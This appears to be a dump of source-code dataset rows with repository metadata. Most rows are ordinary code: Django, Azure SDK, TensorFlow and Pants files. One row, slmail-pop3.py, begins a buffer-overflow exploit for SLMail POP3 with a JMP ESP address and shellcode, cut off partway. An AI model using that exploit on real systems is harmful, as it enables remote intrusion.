enum LayoutKind,values: Auto (3),Explicit (2),Sequential (0)
"""
def __eq__(self,*args):
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
... | [
"sean.moore@ni.com"
] | sean.moore@ni.com |
8d192f51b6018615be9691fcdda1b9d3e669bf1d | e60a342f322273d3db5f4ab66f0e1ffffe39de29 | /parts/zodiac/pyramid/tests/test_security.py | 7d0ab393b6121ff075581d422024548009af502c | [] | no_license | Xoting/GAExotZodiac | 6b1b1f5356a4a4732da4c122db0f60b3f08ff6c1 | f60b2b77b47f6181752a98399f6724b1cb47ddaf | refs/heads/master | 2021-01-15T21:45:20.494358 | 2014-01-13T15:29:22 | 2014-01-13T15:29:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 81 | py | /home/alex/myenv/zodiac/eggs/pyramid-1.4-py2.7.egg/pyramid/tests/test_security.py | [
"alex.palacioslopez@gmail.com"
] | alex.palacioslopez@gmail.com |
f9a501c145dbd5a41701bcb08ac1c22014d598f6 | e782950bb76c4dd295001f7760f42e04ceadfb1b | /tests/test_completion.py | 6da2d9cdd703379d172e78b6479300256e4e92b0 | [
"MIT"
] | permissive | h3xium/typer | 2c3fc691c52a89997eb7db9267ed1fb12c9af800 | 31f7a44a467e6e3468434703d3c18961a746939f | refs/heads/master | 2021-01-26T22:23:57.520688 | 2020-02-15T12:39:47 | 2020-02-15T12:39:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,456 | py | import os
import subprocess
import sys
from pathlib import Path
import typer
from typer.testing import CliRunner
from first_steps import tutorial001 as mod
runner = CliRunner()
app = typer.Typer()
app.command()(mod.main)
def test_show_completion():
result = subprocess.run(
[
"bash",
... | [
"tiangolo@gmail.com"
] | tiangolo@gmail.com |
e87ab2c053552be6df6333daf37c54e1c4e56527 | 3adf9934a74077c328b9a0afff37f8ca355eead1 | /comicresizer/forms.py | a2f083f2fd6d9a8ab0f950d16e2e7b6010e34b3e | [] | no_license | jgasteiz/comic-resizer | 36671623fe9909f23fba793b44cf4ac56380926a | 12d2e12efdf2017746d67a4b6d9616613ee58bb9 | refs/heads/master | 2021-07-05T05:56:00.911958 | 2017-09-27T07:43:58 | 2017-09-27T07:45:25 | 104,987,910 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | from django import forms
class ComicUploadForm(forms.Form):
file = forms.FileField(required=False)
| [
"javi.manzano.oller@gmail.com"
] | javi.manzano.oller@gmail.com |
94540c0cfc7509d41aeaeedc64a11096d5b2616a | 81d955c3ac886e690ceb01026ed769b1784dbef9 | /purity_fb/purity_fb_1dot8/apis/quotas_groups_api.py | 665498e5f3f9ea81a3c569698b958f1cb115c367 | [
"Apache-2.0"
] | permissive | etsangsplk/purity_fb_python_client | bc525ef1a18f6a79c1536cb4519a7efd58d09d89 | 0807a0fa2eab273bc08f73266d9cda9fa33b37bd | refs/heads/master | 2020-06-03T05:49:03.015147 | 2019-05-16T06:11:40 | 2019-05-16T06:11:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 26,547 | py | # coding: utf-8
"""
Purity//FB REST Client
Client for Purity//FB REST API (1.0 - 1.8), developed by [Pure Storage, Inc](http://www.purestorage.com/). Documentations can be found at [purity-fb.readthedocs.io](http://purity-fb.readthedocs.io/).
OpenAPI spec version: 1.8
Contact: info@purestorage.com
... | [
"azaria.zornberg@purestorage.com"
] | azaria.zornberg@purestorage.com |
ba86f9ca658290dd2ff911890bc481e0c6568938 | 82e7b27cc4377def80c2b475645d502e40a0e498 | /newsletter/migrations/0009_auto_20160215_0258.py | d627d656950946d66269e848a6dd0b1a53943507 | [] | no_license | craYBoi/bryte | 850698e735a08ea10a08a78dc9e23b7e760c682f | d2b5a74d200ccb06cc3ef4e3180b83cbc338ce3e | refs/heads/master | 2022-12-12T08:54:56.863372 | 2017-06-28T05:03:32 | 2017-06-28T05:03:32 | 63,019,677 | 0 | 0 | null | 2022-11-22T01:00:25 | 2016-07-10T21:44:41 | CSS | UTF-8 | Python | false | false | 475 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-02-15 02:58
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('newsletter', '0008_auto_20160215_0249'),
]
operations = [
migrations.AlterFi... | [
"baoyuyang@Yuyangs-MacBook-Pro.local"
] | baoyuyang@Yuyangs-MacBook-Pro.local |
bbd48bd8cb59d48d867df4dbad5af7cf9a4a87d6 | 085ce75a507df6e755cabb7a65c4a2a8c98762ba | /dockerfiles/root/.pycharm_helpers/python_stubs/-252567642/_multiprocessing.py | fee21a8eebfb053e451fc85ad0c04b02fa80eb4e | [] | no_license | Arhzi/habr-docker-article | d44302db1fe157d81fe0818e762e82218f50e31f | 6fb094860b612e307beadaeb22981aa0ee64e964 | refs/heads/master | 2021-01-23T20:41:47.398025 | 2015-12-10T08:56:33 | 2015-12-10T08:56:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,156 | py | # encoding: utf-8
# module _multiprocessing
# from /usr/local/lib/python2.7/lib-dynload/_multiprocessing.so
# by generator 1.137
# no doc
# no imports
# functions
def address_of_buffer(obj): # real signature unknown; restored from __doc__
"""
address_of_buffer(obj) -> int
Return address of obj assuming ob... | [
"sirnikolasd@yandex.ru"
] | sirnikolasd@yandex.ru |
208a1844a81ead0571afc60c1414be53b9b0f78c | 05352c29e844705f02d65526343eea9b486f8bd7 | /src/python/pants/backend/python/rules/run_setup_py_test.py | 001faa56b7b0e7fd0e62305736c4abe5951844de | [
"Apache-2.0"
] | permissive | DoN-SultaN/pants | af2557de1178faaf73eed0a5a32e8f6fd34d2169 | 5cb5379003a0674c51f9a53f582cf690eddfaf45 | refs/heads/master | 2022-10-15T04:18:54.759839 | 2020-06-13T10:04:21 | 2020-06-13T10:04:21 | 272,089,524 | 1 | 0 | Apache-2.0 | 2020-06-13T21:36:50 | 2020-06-13T21:36:49 | null | UTF-8 | Python | false | false | 27,011 | py | # Copyright 2019 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import json
import textwrap
from typing import Iterable, Type
import pytest
from pants.backend.python.python_artifact import PythonArtifact
from pants.backend.python.rules.run_setup_py i... | [
"noreply@github.com"
] | DoN-SultaN.noreply@github.com |
3144ecf342e1c38eb5c4bcf21135c183e9157eee | f576f0ea3725d54bd2551883901b25b863fe6688 | /sdk/datashare/azure-mgmt-datashare/generated_samples/provider_share_subscriptions_adjust.py | 496c049f7baa29e25e02b0ee6f7ed8ffa89deaa0 | [
"LicenseRef-scancode-generic-cla",
"MIT",
"LGPL-2.1-or-later"
] | permissive | Azure/azure-sdk-for-python | 02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c | c2ca191e736bb06bfbbbc9493e8325763ba990bb | refs/heads/main | 2023-09-06T09:30:13.135012 | 2023-09-06T01:08:06 | 2023-09-06T01:08:06 | 4,127,088 | 4,046 | 2,755 | MIT | 2023-09-14T21:48:49 | 2012-04-24T16:46:12 | Python | UTF-8 | Python | false | false | 1,824 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | Azure.noreply@github.com |
13319f9028ad09f1d990efba329a3d5162550bb6 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/dev/cv/image_classification/CSPResNeXt-50_ID1888_for_PyTorch/timm/models/layers/separable_conv.py | 340f58362031b648a0361ac28d85bde369834876 | [
"LicenseRef-scancode-proprietary-license",
"LGPL-2.0-or-later",
"Apache-2.0",
"GPL-1.0-or-later",
"BSD-3-Clause",
"MIT",
"CC-BY-NC-4.0",
"BSD-2-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 4,530 | py | #
# BSD 3-Clause License
#
# Copyright (c) 2017 xxxx
# All rights reserved.
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain ... | [
"wangjiangben@huawei.com"
] | wangjiangben@huawei.com |
3459276818ce07479d8a250a648e51b33e116764 | c9ca065c2674ca30c12a90ceab88ac5798646473 | /weather/weather.py | 0911597edd9300a64cc9034898c72555e919512b | [] | no_license | mshazman/data_munging | beaa389ad3de48d52f1f2ef03ed4ba7f04c77698 | f4f815a896f8f7a6957ebbb22369dd760e95072e | refs/heads/master | 2020-07-23T17:03:01.970331 | 2019-09-10T19:07:20 | 2019-09-10T19:07:20 | 207,640,211 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | """This Module have class to perform all calculation realted to weather"""
import calculation
class WeatherCalculation(calculation.Computation):
"""class object takes data in form of dictionary and apply functions on it"""
def __init__(self, weather_data):
self.weather_data = weather_data
def min... | [
"="
] | = |
dbce7481439b0de5401a7b81de4c4d300404aa6b | 6388104b646b304a081985216ad2f82f09db2af3 | /slmail-pop3.py | 67f374a5ffac594a45f6cfba7a7c22230d03e945 | [] | no_license | war4uthor/CVE-2003-0264 | 73bd207d3f989434be942982d344285633f6fc48 | 82352386a3e740db37f84ebbaed2632965c4c0a8 | refs/heads/master | 2020-04-12T12:41:00.763220 | 2018-12-19T22:50:30 | 2018-12-19T22:50:30 | 162,499,093 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,955 | py | #!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 5F4A358F FFE4 JMP ESP
shellcode = (
"\xb8\x9a\x26\x16\x98\xd9\xcd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x83\xea\xfc\x31\x42\x0e\x03\xd8\x28\xf4\x6d\x20\xdc\x7a"
"\x8d\xd8\x1d\x1b\x07\x3d\x2c\x1b\x73\x36\x1f\xab\xf7\... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
dcfd08920d5d8dc25f09f1674d7a69c10ecedbb1 | 1bed2f766620acf085ed2d7fd3e354a3482b8960 | /tests/components/sensibo/test_entity.py | 818d9ddb92499f60c743ebd9a3a8e50177e03817 | [
"Apache-2.0"
] | permissive | elupus/home-assistant | 5cbb79a2f25a2938a69f3988534486c269b77643 | 564150169bfc69efdfeda25a99d803441f3a4b10 | refs/heads/dev | 2023-08-28T16:36:04.304864 | 2022-09-16T06:35:12 | 2022-09-16T06:35:12 | 114,460,522 | 2 | 2 | Apache-2.0 | 2023-02-22T06:14:54 | 2017-12-16T12:50:55 | Python | UTF-8 | Python | false | false | 2,826 | py | """The test for the sensibo entity."""
from __future__ import annotations
from unittest.mock import patch
from pysensibo.model import SensiboData
import pytest
from homeassistant.components.climate.const import (
ATTR_FAN_MODE,
DOMAIN as CLIMATE_DOMAIN,
SERVICE_SET_FAN_MODE,
)
from homeassistant.componen... | [
"noreply@github.com"
] | elupus.noreply@github.com |
444fd3d4ecdaaf0e9ceab752d1b0931729f02bbe | 245b92f4140f30e26313bfb3b2e47ed1871a5b83 | /airflow/providers/google_vendor/googleads/v12/errors/types/campaign_feed_error.py | 7a1cbbf42dce80b65a8b1c81159737e23be143fb | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | ephraimbuddy/airflow | 238d6170a0e4f76456f00423124a260527960710 | 3193857376bc2c8cd2eb133017be1e8cbcaa8405 | refs/heads/main | 2023-05-29T05:37:44.992278 | 2023-05-13T19:49:43 | 2023-05-13T19:49:43 | 245,751,695 | 2 | 1 | Apache-2.0 | 2021-05-20T08:10:14 | 2020-03-08T04:28:27 | null | UTF-8 | Python | false | false | 1,509 | py | # -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"noreply@github.com"
] | ephraimbuddy.noreply@github.com |
18d4a948b0ca382c4d01997d274c1deb0cbccddf | b92226895d04b0258981864e8604720de9c09f4d | /src/utils.py | 3200a377f749da6ea1b234e191737060009fa795 | [
"BSD-3-Clause"
] | permissive | aydinmemis/blog_FastAPI | e42a6c4f5a9c64154da0f9a23290c274b305838a | f584634a2cd410904df6a7d9478044d269737a91 | refs/heads/master | 2022-04-06T12:37:59.068303 | 2020-03-11T18:04:14 | 2020-03-11T18:04:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,688 | py | import logging
from datetime import datetime, timedelta
from pathlib import Path
from typing import Optional
import emails
import jwt
from emails.template import JinjaTemplate
from jwt.exceptions import InvalidTokenError
from core import config
password_reset_jwt_subject = "preset"
def send_email(email_to: str, su... | [
"socanime@gmail.com"
] | socanime@gmail.com |
f59676ae9eac334e4b46372346f1f0b0d5844c4e | c60c199410289c1d7ec4aea00833b461e1f08f88 | /27-29-nov-2014/day1/stringiter2.py | 027138065a5897ed5823bf0d6c686f23c0a0f2de | [] | no_license | ver007/pythonjumpstart | 66fb111e6af197fad3e853b2c2d712a1b57a7d59 | 5b1f52479abd07456e2da494149e491d398f3b7d | refs/heads/master | 2021-01-21T01:34:35.501870 | 2015-05-13T14:10:13 | 2015-05-13T14:10:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 95 | py | __author__ = 'ravi'
s = 'aeiou'
i = 1
for char in s:
print "{}".format(char*i)
i += 1
| [
"ravi@rootcap.in"
] | ravi@rootcap.in |
8179861a56b00ea0aae727ab31ba65679ea3dcb6 | 5c0e83b07e01983b064980b805e6067cd1123714 | /rd_caltech.py | 81e59b15ea802ee43b2828b30359ef9bfbe9dc85 | [
"MIT"
] | permissive | zyg11/MTCNN-TF | 750ec7b6533b639deba5126e19a434da615585ac | 4d41c5fd2dc13008d39b868aa2e921a7ff731e10 | refs/heads/master | 2020-08-26T14:24:41.084820 | 2019-04-02T09:02:23 | 2019-04-02T09:02:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,656 | py | #author : lxy
#time: 2018.3.23/ 11:30:00
#tool: python3
#version: 0.1
#modify:
#project: pedestrian detection
################################
import numpy as np
import glob
import os
import argparse
def args():
parser = argparse.ArgumentParser(description="read caltech txt")
parser.add_argument('--dir_in',ty... | [
"lixiaoyu283284@163.com"
] | lixiaoyu283284@163.com |
f099e8563d50a673936df3dfddd48a1bcda5b76d | 2b3ed6bef2f569448918b8be72c733614c231fce | /hdf5_example.py | dd3342f3c57d95a4688d33cb9ed830c521fb325f | [] | no_license | jackdbd/dask-playground | 8e67024ba60fbac3ff1ad77b94363731c04c0afd | 721bc234eadf13e9ef24173bbbc9a68761bf1a7c | refs/heads/master | 2021-04-25T19:58:47.303280 | 2017-11-01T12:49:00 | 2017-11-01T12:49:00 | 109,123,767 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 554 | py | import os
import h5py
import numpy as np
import dask.array as da
h5file_path = 'myfile.hdf5'
if os.path.exists(h5file_path):
os.unlink(h5file_path)
# create a continuous uniform distribution between 0.0 and 1.0
arr = np.random.random(size=(10000, 2000))
with h5py.File(h5file_path, 'w') as h5f:
h5f.create_dat... | [
"jackdebidda@gmail.com"
] | jackdebidda@gmail.com |
e88f9fca86593c9f58548a9b9ee9d1d925f8edac | d3a836353ff223f76fa005215560bb9a0d5e1250 | /tensorflow/python/grappler/layout_optimizer_test.py | d9c1c3ce41aee5a5a8bac5f9dd164771611413de | [
"Apache-2.0"
] | permissive | jhabikal21/tensorflow | 9ee926adc0217aa379202fd5c714b7c03e4514f6 | 98d20962172301385aae694141801a375debd2bc | refs/heads/master | 2021-07-15T20:10:13.666688 | 2021-06-23T11:12:14 | 2021-06-23T11:12:14 | 117,846,715 | 0 | 0 | null | 2018-01-17T14:22:49 | 2018-01-17T14:22:48 | null | UTF-8 | Python | false | false | 45,939 | py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"gardener@tensorflow.org"
] | gardener@tensorflow.org |
6e2270dae209181b8af5ff3dcc9eea8dc4033c64 | f6ed7bc808f5536bc77166fe5c3571e5c028f308 | /neptune/internal/cli/commands/executing/null_executor.py | b7ba6ca006a08ffa645f0c58a15b0419a5cec32f | [
"Apache-2.0"
] | permissive | jiji-online/neptune-cli | d086bb59725b7545f3e0f80bd89e8f99ff3851a0 | 50cf680a80d141497f9331ab7cdaee49fcb90b0c | refs/heads/main | 2023-07-18T17:56:10.671562 | 2021-09-14T07:54:13 | 2021-09-14T07:54:13 | 406,275,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 742 | py | #
# Copyright (c) 2017, deepsense.io
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | [
"serhii.freidin@jiji.ng"
] | serhii.freidin@jiji.ng |
b70471b30ed693024129232b607386dcc2056eed | 4d05be863b63a56a90b4c46b15069827b33ecaae | /Algorithms/leetcode/088_merge_sorted_array.py | cdc7c4756f42f6563a0e1d9faa78195016a55fbc | [] | no_license | leeo1116/PyCharm | e532fa9754056019508cc454214ee1a8ad9b26a9 | b6942c05c27556e5fe47879e8b823845c84c5430 | refs/heads/master | 2022-11-06T00:43:14.882453 | 2017-07-13T04:50:00 | 2017-07-13T04:50:00 | 36,851,636 | 0 | 1 | null | 2022-10-20T10:44:39 | 2015-06-04T06:09:09 | Python | UTF-8 | Python | false | false | 775 | py | __author__ = 'Liang Li'
class Solution:
# @param {integer[]} nums1
# @param {integer} m
# @param {integer[]} nums2
# @param {integer} n
# @return {void} Do not return anything, modify nums1 in-place instead.
def merge(self, nums1, m, nums2, n):
i = m-1
j = n-1
k = m+n-1
... | [
"leeo1116@gmail.com"
] | leeo1116@gmail.com |
2316ed9192f542f72a25d3038b16c60e3271862f | 68b7d7b72a9d87123373f1e4523bf3655564769d | /backend/course/migrations/0001_initial.py | 0ce22a04074cfc9aad1aacd1a19265b0239921a5 | [] | no_license | crowdbotics-apps/help-procrastinatio-22418 | c5a85b31e85b87e9d4e39f402ca3f037d916c990 | b2a967a5b930ba5cacbeeea702ca9aba71899687 | refs/heads/master | 2023-01-09T12:19:42.589420 | 2020-11-08T23:45:22 | 2020-11-08T23:45:22 | 311,177,250 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,517 | py | # Generated by Django 2.2.17 on 2020-11-08 23:44
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
op... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
2b40da75789f55119d250b7354c69c87b1f8de71 | b23d294fdffabe72c336644f119860f5ce704eef | /python_1000phone/预科/day1-turtle/01-第一个python代码.py | bc791ddb4d9c798be10d6dc7d7d522d3d4d2a228 | [] | no_license | ikaros274556330/my_code | 65232758fd20820e9f4fa8cb5a6c91a1969862a2 | 92db21c4abcbd88b7bd77e78d9f660b4534b5071 | refs/heads/master | 2020-11-26T09:43:58.200990 | 2019-12-23T02:08:39 | 2019-12-23T02:08:39 | 229,032,315 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 42 | py | # 打印hello world!
print('hello world!') | [
"274556330@qq.com"
] | 274556330@qq.com |
99681c36be3784e520c6d493f540d54bbb5b6ac4 | d8a5fc2195165c970e2340eee87ae2ad5322da29 | /{{cookiecutter.repo_name}}/{{cookiecutter.project_name}}/photos/views.py | 48573cfdc703cc624f8d89eccaf4fa0037280c73 | [
"BSD-3-Clause"
] | permissive | lendlsmith/chrisdev-cookiecutter | b76e6194aa8369c2dbf1dac73e3282e025d2b146 | e0ab2d16bd1a066800ce46bb1740b1254c259a70 | refs/heads/master | 2021-10-11T22:20:02.391847 | 2014-07-21T16:57:32 | 2014-07-21T16:57:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | from django.views.generic import ListView, DetailView
from filer.models import Folder
class GalleryListView(ListView):
#context_object_name = "gallery_list"
try:
queryset = Folder.objects.get(
name='Gallery').children.all().order_by('-created_at')
except Folder.DoesNotExist:
qu... | [
"lendl.smith@gmail.com"
] | lendl.smith@gmail.com |
4528a59aa0db7486bbbf2a3cb6b8db98636d7a1b | 17e60f61fc82e7369802a1c597b58b0206ad9bec | /lib/poolLoop.py | 0a25964115c941e48f0dbddf08013eda3d965d6c | [] | no_license | SLB-DeN/opensvc | 5e06d42947f51662fa16203a00670a88b9e1fea9 | 75baeb19e0d26d5e150e770aef4d615c2327f32e | refs/heads/master | 2021-05-17T05:35:18.585791 | 2020-03-19T15:20:05 | 2020-03-19T15:20:05 | 250,651,667 | 1 | 0 | null | 2020-03-27T21:29:22 | 2020-03-27T21:29:22 | null | UTF-8 | Python | false | false | 1,366 | py | from __future__ import print_function
import os
import pool
import rcExceptions as ex
from rcUtilities import lazy, justcall
class Pool(pool.Pool):
type = "loop"
capabilities = ["rox", "rwx", "roo", "rwo", "blk"]
@lazy
def path(self):
return self.oget("path")
def translate(self, name=No... | [
"christophe.varoqui@opensvc.com"
] | christophe.varoqui@opensvc.com |
9498aefa8f146488465c0dc49bcdcfecb6c2c61c | 3b84c4b7b16ccfd0154f8dcb75ddbbb6636373be | /google-cloud-sdk/lib/googlecloudsdk/surface/compute/resource_views/resources/add.py | 91a1766af1560f7ca696cc64491c0c49bb5e745d | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | twistedpair/google-cloud-sdk | 37f04872cf1ab9c9ce5ec692d2201a93679827e3 | 1f9b424c40a87b46656fc9f5e2e9c81895c7e614 | refs/heads/master | 2023-08-18T18:42:59.622485 | 2023-08-15T00:00:00 | 2023-08-15T12:14:05 | 116,506,777 | 58 | 24 | null | 2022-02-14T22:01:53 | 2018-01-06T18:40:35 | Python | UTF-8 | Python | false | false | 2,988 | py | # Copyright 2014 Google Inc. All Rights Reserved.
"""'resourceviews resources add' command."""
from apiclient import errors
from googlecloudsdk.api_lib.compute import rolling_updates_util as util
from googlecloudsdk.calliope import base
from googlecloudsdk.calliope import exceptions
from googlecloudsdk.core import lo... | [
"joe@longreen.io"
] | joe@longreen.io |
f57a5a411bc4bd9daee914c2fc13faf4310bdc9b | 97ca8aedfc7959f99bf5add51c2fbb9d535c5aff | /tcml_tools/slurmer/parse/group.py | 6142cd427c107f81a3ddab7c8eda3c9d7558ae77 | [] | no_license | cogsys-tuebingen/tcml_tools | 74b930b8109ef0ad559584bb51808edb83fe4e8c | 4eabeb08e34993143c729136dc4349043dde00ad | refs/heads/main | 2023-06-02T02:27:13.915943 | 2021-06-09T07:01:23 | 2021-06-09T07:01:23 | 359,801,189 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,582 | py | import numpy as np
from typing import Union
from collections import OrderedDict, defaultdict
from tcml_tools.slurmer.parse import Result, Metrics
class Group:
"""
A group of slurm jobs that share parameters (except e.g. seed)
metrics will be computed over groups
"""
default_result = Result("__def... | [
"kevin.laube@uni-tuebingen.de"
] | kevin.laube@uni-tuebingen.de |
bf827dd87006c899990aacccbb562772fcbfd3e6 | 78d35bb7876a3460d4398e1cb3554b06e36c720a | /sdk/network/azure-mgmt-network/azure/mgmt/network/v2021_05_01/operations/_load_balancer_frontend_ip_configurations_operations.py | be7b0ac5d709fb10ed6105bb3d5c250f99998522 | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | catchsrinivas/azure-sdk-for-python | e35f59b60318a31b3c940a7a3a07b61b28118aa5 | 596227a7738a5342274486e30489239d539b11d1 | refs/heads/main | 2023-08-27T09:08:07.986249 | 2021-11-11T11:13:35 | 2021-11-11T11:13:35 | 427,045,896 | 0 | 0 | MIT | 2021-11-11T15:14:31 | 2021-11-11T15:14:31 | null | UTF-8 | Python | false | false | 9,049 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | catchsrinivas.noreply@github.com |
e5f98ccd8f816d3621fa6a5b9fd0132e0965826b | 30a89ae47ca79e4ced151908f4059cd77ade30ef | /order/forms.py | 0c700dce796932a329f19a1102f5113624a6fcd8 | [] | no_license | harshit8858/mindful_project1_salesapp | 0bd80c40b2349fe08744dcd0625283c5b6ba4029 | 66f7c7af868518898aa6422d1b17ca9f7cf433ef | refs/heads/master | 2020-03-24T00:02:49.972583 | 2018-08-18T07:56:49 | 2018-08-18T07:56:49 | 142,269,897 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 328 | py | from django import forms
from .models import *
class OrderForm(forms.ModelForm):
class Meta:
model = Order
fields = [
'customer',
'remark',
'product',
'quantity',
'price',
'discount',
'tax',
'total',
... | [
"harshit8858@gmail.com"
] | harshit8858@gmail.com |
8f4e42b65ce09e4a562f2d4b298babce0fd4be3b | 2417d9f6afe95ba19354c65bfb400556f2eb2e19 | /setup.py | 2a91c65f19fbb3863f4728098116fca13710074a | [
"Apache-2.0"
] | permissive | rakeshnb/pixiedust | 39f1249a867719919441488f085e1f60519dae58 | fb5198c7564589c267147d7bdee1f798e7b361ef | refs/heads/master | 2020-05-23T08:09:42.603871 | 2016-10-07T22:08:10 | 2016-10-07T22:08:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | from setuptools import setup
setup(name='pixiedust',
version='0.38',
description='Misc helpers for Spark Python Notebook',
url='https://github.com/ibm-cds-labs/pixiedust',
install_requires=['maven-artifact','mpld3'],
author='David Taieb',
author_email='david_taieb@us.ibm.com',
... | [
"david_taieb@us.ibm.com"
] | david_taieb@us.ibm.com |
9e970d6b5a4196876c2d30a1e3a820a778e6aabc | 4fe0d37eb4810d3aa5fca50a60bd8f57c2558673 | /build/ros_arduino_bridge/ros_arduino_python/catkin_generated/pkg.develspace.context.pc.py | cfcd6131b4b1dad06511bc5b36495eba4e78533a | [] | no_license | jim1949/gpsbot_ws | f0aa961472d65633f1d385426e6e0fd489a8e104 | 0dfa36223620ae226f6a40735179b6cae265693d | refs/heads/master | 2021-05-07T05:55:08.584882 | 2017-11-22T08:45:06 | 2017-11-22T08:45:06 | 103,118,141 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 382 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "ros_arduino_python"
PROJECT_SPACE_DIR... | [
"jim1949@163.com"
] | jim1949@163.com |
aea5124f9f2718dae828e8f08e419c0c88fa27e0 | 1d60c5a7b8ce6277bff514e376f79848f706344c | /Data Analyst with Python - Career Track/01. Introduction to Data Science in Python/04. Different Types of Plots/05. Modifying histograms.py | 1ce32da1b97d613df25adfdb3b264ed5dbd7b8c8 | [] | no_license | DidiMilikina/DataCamp | 338c6e6d3b4f5b6c541c1aba155a36e9ee24949d | 3bf2cf3c1430190a7f8e54efda7d50a5fd66f244 | refs/heads/master | 2020-12-15T13:16:54.178967 | 2020-05-06T17:30:54 | 2020-05-06T17:30:54 | 235,113,616 | 4 | 3 | null | null | null | null | UTF-8 | Python | false | false | 764 | py | '''
Modifying histograms
Let's explore how changes to keyword parameters in a histogram can change the output. Recall that:
range sets the minimum and maximum datapoints that we will include in our histogram.
bins sets the number of points in our histogram.
We'll be exploring the weights of various puppies from the Da... | [
"didimilikina8@gmail.com"
] | didimilikina8@gmail.com |
5e95d15bbcb402658a0aa5ca152150228122ffa4 | 88be3911c7e73d4bf71b0482ee6d15f49030463a | /SEC31_Regex/Demo_findall.py | efd4979649d52b8aed3afc6af63204120a6ce980 | [] | no_license | skyaiolos/Python_KE | 85f879d1cb637debd2e3a0239d7c8d7bfb30c827 | 8cc42c8f4d1245de4b79af429f72a9ed2508bc1a | refs/heads/master | 2021-01-22T08:47:47.761982 | 2017-05-28T14:57:02 | 2017-05-28T14:57:02 | 92,634,507 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,028 | py | """
# Script Description:
Python 正则表达式之RegexObject
"""
__author__ = "爱的彼岸(QQ:3124724)"
__copyright__ = "Copyright 2017,3124724@qq.com"
# Create by Jianguo on 2017/5/7
import re
text = "Tom is 8 years old, Mike is 25 years old."
# 模式对象, 表现编译后的正则表达式(编译为字节码并缓存)
# re.compile(r'模式')
print('findall()'.center(100, '*'... | [
"skyaiolos@aliyun.com"
] | skyaiolos@aliyun.com |
